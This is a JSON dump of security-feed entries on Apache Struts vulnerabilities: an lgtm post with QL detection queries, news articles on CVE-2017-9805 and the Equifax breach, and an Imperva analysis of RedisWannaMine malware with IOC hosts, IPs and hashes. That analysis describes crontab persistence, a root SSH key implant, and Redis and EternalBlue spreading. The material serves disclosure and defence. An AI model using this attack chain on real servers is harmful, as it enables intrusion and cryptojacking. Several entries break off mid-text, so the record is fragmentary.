{"seebug": [{"lastseen": "2017-11-19T12:02:40", "description": "In this post I'll describe how I customized a standard lgtm query to find a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). A more general announcement about this vulnerability [can be found here](https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement). It has been assigned [CVE-2017-9805](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805), a security bulletin can be found here on the Struts website, and details of version 2.5.13 of Apache Struts that addresses this vulnerability [are available here](https://struts.apache.org/announce.html). Due to the severe nature of this vulnerability, a couple of details (including a working exploit) have been omitted from this post; this information will be added in a few weeks' time.\r\n\r\nWe strongly advise users of Struts to upgrade to the latest version to mitigate this security risk.\r\n\r\nThe vulnerability I discovered is a result of unsafe deserialization in Java. Multiple similar vulnerabilities have come to light in recent years, after Chris Frohoff and Gabriel Lawrence discovered a deserialization flaw in Apache Commons Collections that can lead to arbitrary code execution. Many Java applications have since been affected by such vulnerabilities. If you'd like to know more about this type of vulnerability, the lgtm documentation page on this topic is a good place to start.\r\n# Detecting unsafe deserialization in Struts #\r\n\r\nlgtm identifies alerts in code using queries written in a specially-designed language: QL. One of the many queries for Java detects potentially unsafe deserialization of user-controlled data. The query identifies situations in which unsanitized data is deserialized into a Java object. This includes data that comes from an HTTP request or from any other socket connection.\r\n\r\nThis query detects common ways through which user-controlled data flows to a deserialization method. However, some projects use a slightly different approach to receive remote user input. For example, Apache Struts uses the ContentTypeHandler interface. This converts data into Java objects. Since implementations of this interface usually deserialize the data passed to them, every class that implements this interface is potentially of interest. The standard QL query for detecting unsafe deserialization of user-controlled data can easily be adapted to recognize this additional method for processing user input. This is done by defining a custom data source.\r\n\r\nIn this case, we are interested in data flowing from the toObject method, which is defined in the ContentTypeHandler interface:\r\n\r\n void toObject(Reader in, Object target);\r\n\r\nThe data contained in the first argument in that is passed to toObject should be considered tainted: it is under the control of a remote user and should not be trusted. We want to find places where this tainted data (the source) flows into a deserialization method (a sink) without input validation or sanitization.\r\n\r\nThe QL DataFlow library provides functionality for tracking tainted data through various steps in the source code. This is known as taint tracking. For example, data gets tracked through various method calls:\r\n\r\n IOUtils.copy(remoteUserInput, output); // output is now also tainted because the function copy preserves the data.\r\n\r\nTo make use of the taint tracking functionality in the DataFlow library, let's define the in argument to ContentTypeHandler.toObject(...) as a tainted source. First, we define how the query should recognize the ContentTypeHandler interface and the method toObject.\r\n\r\n\t/** The ContentTypeHandler Java class in Struts **/\r\n\tclass ContentTypeHandler extends Interface {\r\n\t ContentTypeHandler() {\r\n\t this.hasQualifiedName(\"org.apache.struts2.rest.handler\", \"ContentTypeHandler\")\r\n\t }\r\n\t}\r\n\t\r\n\t/** The method `toObject` */\r\n\tclass ToObjectDeserializer extends Method {\r\n\t ToObjectDeserializer() {\r\n\t this.getDeclaringType().getASupertype*() instanceof ContentTypeHandler and\r\n\t this.getSignature = \"toObject(java.io.Reader,java.lang.Object)\"\r\n\t }\r\n\t}\r\n\r\nHere we use getASupertype*() to restrict the matching to any class that has ContentTypeHandler as a supertype.\r\n\r\nNext we want to mark the first argument of the toObject method as an untrusted data source, and track that data as it flows through the code paths. To do that, we extend the FlowSource class in QL's dataflow library:\r\n\r\n\t/** Mark the first argument of `toObject` as a dataflow source **/\r\n\tclass ContentTypeHandlerInput extends FlowSource {\r\n\t ContentTypeHandlerInput() {\r\n\t exists(ToObjectDeserializer des |\r\n\t des.getParameter(0).getAnAccess() = this\r\n\t )\r\n\t }\r\n\t}\r\n\r\nIntuitively, this definition says that any access to the first parameter of a toObject method, as captured by ToObjectDeserializer above, is a flow source. Note that for technical reasons, flow sources have to be expressions. Therefore, we identify all accesses of that parameter (which are expressions) as sources, rather than the parameter itself (which isn't).\r\n\r\nNow that we have the definition for a dataflow source, we can look for places where this tainted data is used in an unsafe deserialization method. We don't have to define that method (the sink) ourselves as it is already in the Deserialization of user-controlled data query (line 64: UnsafeDeserializationSink, we will need to copy its definition into the query console). Using this, our final query becomes:\r\n\r\n\tfrom ContentTypeHandlerInput source, UnsafeDeserializationSink sink\r\n\twhere source.flowsTo(sink)\r\n\tselect source, sink\r\n\r\nHere we use the .flowsTo predicate in FlowSource for tracking so that we only identify the cases when unsafe deserialization is performed on a ContentTypeHandlerInput source.\r\n\r\nWhen I ran the customized query on Struts there was exactly one result (Running it now will yield no result as the fix has been applied). I verified that it was a genuine remote code execution vulnerability before reporting it to the Struts security team. They have been very quick and responsive in working out a solution even though it is a fairly non-trivial task that requires API changes. Due to the severity of this finding I will not disclose more details at this stage. Rather, I will update this blog post in a couple of weeks' time with more information.\r\n# Vendor Response #\r\n\r\n 17 July 2017: Initial disclosure.\r\n 02 August 2017: API changes in preparation for patch.\r\n 14 August 2017: Patch from Struts for review.\r\n 16 August 2017: Vulnerability officially recognized as CVE-2017-9805\r\n 5 September 2017: Struts version 2.5.13 released\r\n\r\n# Mitigate unsafe deserialization risk with lgtm #\r\n\r\nlgtm runs the standard Deserialization of user-controlled data query on all Java projects.

Specifically, Struts REST plugin fails to handle XML payloads while deserializing them properly. \n \nAll versions of Apache Struts since 2008 (Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) are affected, leaving all web applications using the framework\u2019s REST plugin vulnerable to remote attackers. \n \nAccording to one of the security researchers at LGTM, who [discovered](<https://lgtm.com/blog/apache_struts_CVE-2017-9805>) this flaw, the Struts framework is being used by \"an incredibly large number and variety of organisations,\" including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \n\"On top of that, [the vulnerability] is incredibly easy for an attacker to exploit this weakness: all you need is a web browser,\" Man Yue Mo, an LGTM security researcher said. \n \nAll an attacker needs is to submit a malicious XML code in a particular format to trigger the vulnerability on the targeted server. \n \nSuccessful exploitation of the vulnerability could allow an attacker to take full control of the affected server, eventually letting the attacker infiltrate into other systems on the same network. \n \nMo said this flaw is an unsafe deserialization in Java similar to a vulnerability in Apache Commons Collections, [discovered](<https://frohoff.github.io/appseccali-marshalling-pickles/>) by Chris Frohoff and Gabriel Lawrence in 2015 that also allowed arbitrary code execution. \n \nMany Java applications have since been affected by multiple similar vulnerabilities in recent years. \n \nSince this vulnerability has been patched in [Struts version 2.5.13](<https://struts.apache.org/docs/s2-052.html>), administrators are strongly advised to upgrade their Apache Struts installation as soon as possible. \n \nMore technical details about the vulnerability and proof-of-concept have not been published by the researchers yet, giving admins enough time to upgrade their systems.\n", "cvss3": {}, "published": "2017-09-05T07:40:00", "type": "thn", "title": "Critical Flaw in Apache Struts2 Lets Hackers Take Over Web Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-06T10:53:09", "id": "THN:460709FF530ED7F35B5817A55F1BF2C6", "href": "https://thehackernews.com/2017/09/apache-struts-vulnerability.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-01-27T09:17:55", "description": "[](<https://3.bp.blogspot.com/-F7ViQ9JXvL8/Wbo_3TiAKWI/AAAAAAAAAJM/fsHVxS_O8ysIy4sZ2wdnG1OfLkiNJTjzgCLcBGAs/s1600/equifax-apache-struts.png>)\n\nThe [massive Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) that exposed highly sensitive data of as many as 143 million people was caused by [exploiting a flaw in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>) framework, which Apache patched over two months earlier of the security incident, Equifax has confirmed. \n \nCredit rating agency Equifax is yet another example of the companies that became victims of massive cyber attacks due to not patching a critical vulnerability on time, for which patches were already issued by the respected companies. \n \nRated critical with a maximum 10.0 score, the Apache Struts2 vulnerability (CVE-2017-5638) exploited in the Equifax breach was disclosed and fixed by Apache on March 6 with the release of Apache Struts version 2.3.32 or 2.5.10.1. \n \nThis flaw is separate from CVE-2017-9805, [another Apache Struts2 vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) that was patched earlier this month, which was a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them, and was fixed in Struts version 2.5.13. \n \nRight after the disclosure of the vulnerability, hackers started actively exploiting the flaw in the wild to install rogue applications on affected web servers after its [proof-of-concept (PoC) exploit code](<https://thehackernews.com/2017/03/apache-struts-framework.html>) was uploaded to a Chinese site. \n \nDespite patches were made available and proofs that the flaw was already under mass attack by hackers, Equifax failed to patched its Web applications against the flaw, which resulted in the breach of personal data of [nearly half of the US population](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>). \n\n\n> \"Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cyber security firm to determine what information was accessed and who have been impacted,\" the company officials wrote in an [update on the website](<https://www.equifaxsecurity2017.com/>) with a new \"A Progress Update for Consumers.\" \n\n> \"We [know that](<https://www.equifaxsecurity2017.com/2017/09/13/progress-update-consumers-4/>) criminals exploited a US website application vulnerability.

We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\"\n\nCVE-2017-5638 was a then-zero-day vulnerability discovered in the [popular Apache Struts](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) web application framework by Cisco's Threat intelligence firm Talos, which observed a number of active attacks exploiting the flaw. \n \nThe issue was a remote code execution bug in the Jakarta Multipart parser of Apache Struts2 that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n \nAt the time, Apache warned it was possible to perform a remote code execution attack with \"a malicious Content-Type value,\" and if this value is not valid \"an exception is thrown which is then used to display an error message to a user.\" \n \n**Also Read: **[Steps You Should Follow to Protect Yourself From Equifax Breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) \n \nFor those unaware, Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language that run both front-end and back-end Web servers. The framework is used by 65n per cent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nSince the hackers are actively exploiting the vulnerabilities in the Apache Struts web framework, Cisco has also [initiated an investigation](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) into its products against four newly discovered security vulnerabilities in Apache Struts2. \n \nOther companies that also incorporate a version of Apache Struts 2 should also check their infrastructures against these vulnerabilities. \n \nEquifax is currently offering free credit-monitoring and identity theft protection services for people who are affected by the massive data leak and has also enabled a security freeze for access to people's information. \n \nWhile the company was initially criticised for generating a PIN that was simply a time and date stamp and easy-to-guess, the PIN generation method was later changed to randomly generate numbers.\n", "cvss3": {}, "published": "2017-09-13T21:38:00", "type": "thn", "title": "Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T10:00:54", "id": "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "href": "https://thehackernews.com/2017/09/equifax-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:18", "description": "[](<https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png>)\n\nSemmle security researcher Man Yue Mo has [disclosed](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>) a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers. \n \nApache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS. \n \nThe vulnerability (**CVE-2018-11776**) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \nThe newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \n\n\n## Struts2 Vulnerability - Are You Affected?\n\n \nAll applications that use Apache Struts\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \n\n\n> \"This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\" Yue Mo said.\n\n \nYour Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions: \n\n\n * The **alwaysSelectFullNamespace** flag is set to true in the Struts configuration.\n * Struts configuration file contains an \"action\" or \"url\" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.\nAccording to the researcher, even if an application is currently not vulnerable, \"an inadvertent change to a Struts configuration file may render the application vulnerable in the future.\" \n \n\n\n## Here's Why You Should Take Apache Struts Exploit Seriously\n\n \nLess than a year ago, credit rating agency Equifax exposed [personal details of its 147 million consumers](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) due to their failure of patching a similar [Apache Struts flaw](<https://thehackernews.com/2017/03/apache-struts-framework.html>) that was disclosed earlier that year (CVE-2017-5638). \n \nThe Equifax breach cost the company over $600 million in losses. \n\n\n> \"Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" said Pavel Avgustinov, Co-founder &amp; VP of QL Engineering at Semmle.\n\n> \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system.\"\n\n \n\n\n## Patch Released for Critical Apache Struts Bug\n\n[](<https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png>)\n\nApache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n

breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that was believed to be caused due to [a vulnerability in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>), Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework. \n \nApache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nHowever, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities\u2014one discovered earlier this month, and another in March\u2014one of which is [believed to be used](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) to breach personal data of over [143 million Equifax users](<https://thehackernews.com/2017/09/equifax-data-breach.html>). \n \nSome of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws. \n \n\n\n### Cisco Launches Apache Struts Vulnerability Hunting\n\n \nCisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) [we reported on September 5](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) and the remaining three also disclosed last week. \n \nHowever, the remote code execution bug (CVE-2017-5638) that was [actively exploited back in March](<https://thehackernews.com/2017/03/apache-struts-framework.html>) this year is not included by the company in its recent security audit. \n \nThe three vulnerabilities\u2014CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805\u2014included in the [Cisco security audit](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2>) was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues. \n \nThe fourth vulnerability (CVE-2017-12611) that is being [investigated by Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170909-struts2-rce>) was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system. \n \n\n\n### Apache Struts Flaw Actively Exploited to Hack Servers &amp; Deliver Malware\n\n \nComing on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them. \n \nThis could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has [observed](<http://blog.talosintelligence.com/2017/09/apache-struts-being-exploited.html>) that this flaw is [under active exploitation](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) to find vulnerable servers. \n \nSecurity researchers from data centre security vendor Imperva recently [detected](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload. \n \nThe majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe. \n \nOut of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to \"insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.\" \n \nThis flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems. \n \nThe last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts. \n \nCisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services. \n \nAt the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the [Cisco Bug Search Tool](<https://bst.cloudapps.cisco.com/bugsearch/bug/BUGID>). \n \nSince the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.\n", "cvss3": {}, "published": "2017-09-11T23:50:00", "type": "thn", "title": "Apache Struts 2 Flaws Affect Multiple Cisco Products", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9804", "CVE-2017-5638", "CVE-2017-9793", "CVE-2017-9805", "CVE-2017-12611"], "modified": "2017-09-12T10:51:16", "id": "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "href": "https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg>)\n\nClose to 14 million Linux-based systems are directly exposed to the Internet, making them a lucrative target for an array of real-world attacks that could result in the deployment of malicious web shells, coin miners, ransomware, and other trojans.\n\nThat's according to an in-depth look at the Linux threat landscape published by U.S.-Japanese cybersecurity firm [Trend Micro](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/linux-threat-report-2021-1h-linux-threats-in-the-cloud-and-security-recommendations>), detailing the top threats and vulnerabilities affecting the operating system in the first half of 2021, based on data amassed from honeypots, sensors, and anonymized telemetry.\n\nThe company, which detected nearly 15 million malware events aimed at Linux-based cloud environments, found coin miners and ransomware to make up 54% of all malware, with web shells accounting for a 29% share.\n\nIn addition, by dissecting over 50 million events reported from 100,000 unique Linux hosts during the same time period, the researchers found 15 different security weaknesses that are known to be actively exploited in the wild or have a proof of concept (PoC) \u2014\n\n * [**CVE-2017-5638**](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) (CVSS score: 10.0) -

The attacks contained malicious code that downloaded a cryptominer executable file and ran it with a basic evasion technique or none at all.\n\nThis week we saw a new generation of cryptojacking attacks aimed at _both_ database servers and application servers. We dubbed one of these attacks _RedisWannaMine._\n\n_RedisWannaMine_ is more complex in terms of evasion techniques and capabilities. It demonstrates a worm-like behavior combined with advanced exploits to increase the attackers\u2019 infection rate and fatten their wallets.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/Screen-Shot-2018-03-08-at-7.43.49-AM.png>)\n\nIn a nutshell, **cryptojacking attackers have upped their game and they are getting crazier by the minute!**\n\n## Cryptojacking 2.0/ RedisWannaMine\n\nImperva deploys a network of sensors to gather security intelligence. These sensors are deployed in publicly accessible databases and web servers. This week we recorded an interesting remote code execution (RCE) attack through our web application sensors. When we record an RCE attack that tries to download an external resource, we try to probe the remote host to gain further security information. This was the case this week when our sensors recorded the following attack vector that tried to exploit [CVE-2017-9805](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>):\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic1.png>)\n\nWhen we probed the remote server we found a list of suspicious files:\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/Picture2.png>)\n\nThe list includes known malicious files, like _minerd, _but also some unknown suspicious files like _transfer.sh._\n\nWhen we submitted _transfer.sh_ hash to Virus Total, we found it is fairly new, the first submission in 2018-03-05 and detected only by 10 engines:\n\n\n\nThis shell script file is a downloader that is similar in some ways to older cryptojacking downloaders we know:\n\n * It downloads a crypto miner malware from an external location\n * It gains persistency in the machine through new entries in _crontab_\n * It gains remote access to the machine through a new ssh key entry in _/root/.ssh/authorized_keys _and new entries in the system\u2019s _iptables_\n\nHowever, this downloader is unlike any downloader we\u2019ve seen before. In the following sections, we will list the new capabilities it offers.\n\n## Self-sufficient\n\nThe script installs a lot of packages using Linux standard package managers like _apt _and _yum_. This is probably to make sure it is self-sufficient and does not need to depend on local libraries in the victim\u2019s machine. As a hint to things to follow we saw it installs packages like _git, python, redis-tools, wget, gcc_ and _make_.\n\n## [](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic4.png>)\n\n## Github integration\n\nThe script downloads a publicly available tool, named _masscan_, from a Github repository, then compiles and installs it.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic5.png>)\n\nThe project page <https://github.com/robertdavidgraham/masscan> describes it as \u201cTCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.\u201d\n\nAlso, it offers simple usage examples:\n\n## [](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic6.png>)\n\n## Redis scan and infection\n\nThe script then launches another process named \u201c_redisscan.sh_\u201d. The new process uses the _masscan_ tool mentioned above to discover and infect publicly available Redis servers. It does so by creating a large list of IPs, **internal** and **external** and scanning port 6379 which is the default listening port of Redis.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic7.png>)\n\nIf one of the IPs in the list is publicly available, the script launches the \u201c_redisrun.sh_\u201d process to infect it with the same crypto miner malware (\u201c_transfer.sh_\u201d). The infection is done using _redis-cli_ command line tool, that the downloader previously installed, that runs the \u201c_runcmd_\u201d payload.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic8.png>)\n\n\u201c_runcmd_\u201d is a 10-line Redis command script that creates new entries in the Redis server crontab directory and thus infects the server and gains persistency in case someone notices the malware and deletes it.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic9.png>)\n\nNotice that the attacker uses line feeds, \u201c_\\n_\u201d, at the beginning and at the end of each key value. If you run these commands in a Redis server, a file with the following content will be created:\n\n## [](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic10.png>)\n\n## SMB scan and infection\n\nAfter the script completed the Redis scan, it launches another scan process named \u201c_ebscan.sh_\u201d. This time the new process uses the _masscan_ tool to discover and infect publicly available Windows servers with the vulnerable SMB version. It does so by creating a large list of IPs, **internal** and **external**, and scanning port 445 which is the default listening port of SMB.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic11.1.png>)\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic11.2.png>)\n\nIn case you\u2019ve been living under a rock, the SMB vulnerability this script is scanning for, was used by the NSA to create the infamous \u201c_Eternal Blue_\u201d exploit. This exploit was later on adapted to carry out \u201c_WannaCry_\u201d, one the biggest cyberattacks in the world.\n\nWhen the script finds a vulnerable server, it launches the \u201c_ebrun.sh_\u201d process to infect it.\n\n\u201c_ebrun.sh_\u201d runs a Python implementation of the aforementioned \u201c_Eternal Blue_\u201d exploit and drops the file \u201c_x64.bin\u201d _in the vulnerable machine.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic12.png>)\n\nWe used the _strings_ command to print all the strings of printable characters in the file and found a code that creates a malicious VBScript file named \u201c_poc.vbs_\u201d and runs it.\n\n\u201c_poc.vbs_\u201d downloads an executable from an external location, saves it in the vulnerable server as \u201c_admissioninit.exe_\u201d and runs it. Needless to say, \u201c_admissioninit.exe\u201d _is a well-known crypto miner malware.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/03/pic13.png>)\n\n## What should I do?\n\n * Protect your web applications and databases. The initial attack vector was introduced through a web application vulnerability. A properly patched application or an application protected by a WAF should be safe.\n * Make sure you don\u2019t expose your Redis servers to the world. This can be achieved with a simple firewall rule.\n * Make sure you don\u2019t run machines with the vulnerable SMB version in your organization. You can use [this](<http://omerez.com/eternalblues/>) awesome tool to do check it\n\n## IOC\n\n**Hosts:**\n\nhttp://ipfs.io/\n\nhttp://admission.fri3nds.in/\n\n**IPs:**\n\n147.135.130.181\n\n217.182.195.23\n\n**Files:**\n\n615f70c80567aab97827f1a0690987061e105f004fbc6ed8db8ebee0cca59113 transfer.sh\n\n260ef4f1bb0e26915a898745be873373f083227a4f996731f9a3885397a49e79 clay\n\n2d89b48ed09e68b1a228e08fd66508d349303f7dc5a0c26aa5144f69c65ce2f2 minerd\n\neb010a63650f4aa58f58a66c3082bec115b2fec5635fa856838a43add059869d admission.exe\n\nf8428b0ceb5eaf1e496d79824a9c2b6c685fdeb2ddc36b036748ea71b15a5d79 xmr-32.exe\n\ne1c9ffc6677c7c2a6edec5d47bdff5e572d8fdf57675c41ff9e63a8c20bb18db xmr-64.exe\n\ncdadd649c42d28264277dd8edd5b6de23c8070fbf7b5a5ecdcbe03d99613efba ebrun.sh\n\nb2f5abb708c3481ad69aa459e3107c892bceafd26122129c84338cac92bf4797 ebscan.sh\n\n99a4ded26895422707f7c92eca9c9d64212cc033c50010fb027fe32ab55386d9 eternalblue_exploit7.py\n\n34022a65a3eb93b109ed4c6e1233c6404197818a70f51ab654e2c7e474ee2539 eternalblue_exploit8.py\n\n9040274f28d8dbe9e2372fec6482964fa2de8a790c818a3238d0af5fda6c3dbf order.py\n\nc7ed3da4e8d29474909bb0c57e788799fbd3ff96a00e2a0d8f752ed494b9773f rangeip.py\n\ne74e8b14e00de1cdf14d885e3b8a85d33e33e0b239e202243fc4edeeb84a1325 redisrun.sh\n\n794a891cae3374bf28c78eeb3ca39bd59f6ed927f28477561cc0fd11909f34fb redisscan.sh\n\n1bca0088f84d9642002e8d403efb77f75596a9d9c50f171e587a66cc804fa971 runcmd\n\ne3d2088d0cf68efe57babddd7a6973ca5187a127f5e8932436a781391de0320c x64.bin", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-03-08T18:45:38", "type": "impervablog", "title": "RedisWannaMine Unveiled: New Cryptojacking Attack Powered by Redis and NSA Exploits", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2018-03-08T18:45:38", "id": "IMPERVABLOG:38007E943B20A50B729BC17911999C11", "href": "https://www.imperva.com/blog/2018/03/rediswannamine-new-redis-nsa-powered-cryptojacking-attack/", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-14T03:35:02", "description": "[Reputation intelligence](<https://www.imperva.com/app-security/threat-intelligence-101/reputation-intelligence/>) is information about cyber entities known for specific activity, whether malicious or benign, which can be fed to and actioned on by a web application firewall (WAF). It provides an additional application security layer by effectively identifying and blocking threats from known malicious sources. Using reputation intelligence, large amounts of traffic can be classified as malicious or benign, 